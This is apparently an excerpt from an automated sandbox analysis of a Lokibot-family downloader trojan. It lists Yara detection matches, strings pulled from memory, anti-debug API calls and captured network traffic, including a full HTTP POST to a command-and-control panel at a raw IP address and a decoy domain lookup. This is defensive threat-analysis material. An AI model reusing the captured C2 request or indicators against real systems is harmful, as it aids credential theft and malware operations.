Clarifications</a></li><li><a href="https://www.liverpool.com/privacy-notice/">Privacy Notice</a></li><li><a href="https://www.liverpool.com"> equals www.twitter.com (Twitter)

Source: unknown

DNS traffic detected: queries for: liverpooldabestteamoftheworld.com

Source: unknown

HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 192Connection: close

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513547746.0000000000E08000.00000004.00000020.sdmp	String found in binary or memory: http://87.251.79.157/m0ha/0/pin.php
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513547746.0000000000E08000.00000004.00000020.sdmp	String found in binary or memory: http://87.251.79.157/m0ha/0/pin.phpP
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299266611.0000000003170000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncECCCA-3.crt0
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299266611.0000000003170000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl07
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299266611.0000000003170000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299142713.0000000003121000.00000004.00000001.sdmp	String found in binary or memory: http://liverpooldabestteamoftheworld.com
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299142713.0000000003121000.00000004.00000001.sdmp	String found in binary or memory: http://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299266611.0000000003170000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/locality
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/mobilephone
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299142713.0000000003121000.00000004.00000001.sdmp, WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/otherphone
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/postalcoderhttp://schemas.xmlsoap.org/ws/2005/
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/streetaddresszhttp://schemas.xmlsoap.org/ws/20
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/thumbprintrhttp://schemas.xmlsoap.org/ws/2005/
Source: WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/x500distinguishednamejhttp://schemas.xmlsoap.o
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299266611.0000000003170000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://felix.data.tm-awx.com/felix.min.js
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-02-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s270b/0_WhatsApp-Image-2021-02
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s220b/0_Salah-Pressing.jpg
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s270b/0_Salah-Pressing.jpg
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s615/0_Salah-Pressing.jpg
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s220b/0_RobertsonCross1.jpg
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s270b/0_RobertsonCross1.jpg
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s180/0_GettyImages-1231353837.
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s220b/0_GettyImages-1231353837
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s458/0_WhatsApp-Image-2021-03-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s180/0_GettyImages-1273716690.
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s458/0_GettyImages-1273716690.
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s615/0_GettyImages-1273716690.
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s458/1_WhatsApp-Image-2021-03-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s615/1_WhatsApp-Image-2021-03-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://liverpooldabestteamoftheworld.com4
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://reach-id.orbit.tm-awx.com/analytics.js.gz
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299315661.0000000003185000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://s2-prod.liverpool.com/
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://static.hotjar.com/c/hotjar-
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/andrew-robertson
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/curtis-jones
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/ozan-kabak
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/premier-league
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/sadio-mane
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/transfers
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-andy-robertson-valuable-quality-19946
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-curtis-jones-jurgen-klopp-19941053
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-jurgen-klopp-pressing-tactics-1993836
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-ozan-kabak-future-audition-19954616
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-sadio-mane-expected-goals-19932676
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish-199590
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/schedule/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 0_2_0303B8B0 NtSetInformationThread,
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 0_2_0303C500 NtSetInformationThread,

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 0_2_03032D68
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 5_2_0040549C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 5_2_004029D4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: String function: 00405B6F appears 42 times

Source: unknown

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2576 -s 2120

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297407601.0000000000ACC000.00000002.00020000.sdmp	Binary or memory string: OriginalFilename0 vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299142713.0000000003121000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSjFH BCy.exe2 vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.302539282.0000000005460000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.303302144.00000000061A0000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.298842318.0000000003060000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.303627441.0000000006290000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.303627441.0000000006290000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.301794257.0000000004B44000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameRunPeBraba.dll6 vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.298818235.0000000003050000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000000.262146939.000000000069C000.00000002.00020000.sdmp	Binary or memory string: OriginalFilename0 vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.512639003.00000000004A2000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameSjFH BCy.exe2 vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Binary or memory string: OriginalFilename0 vs SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-03-09
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-03-09
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-03-09
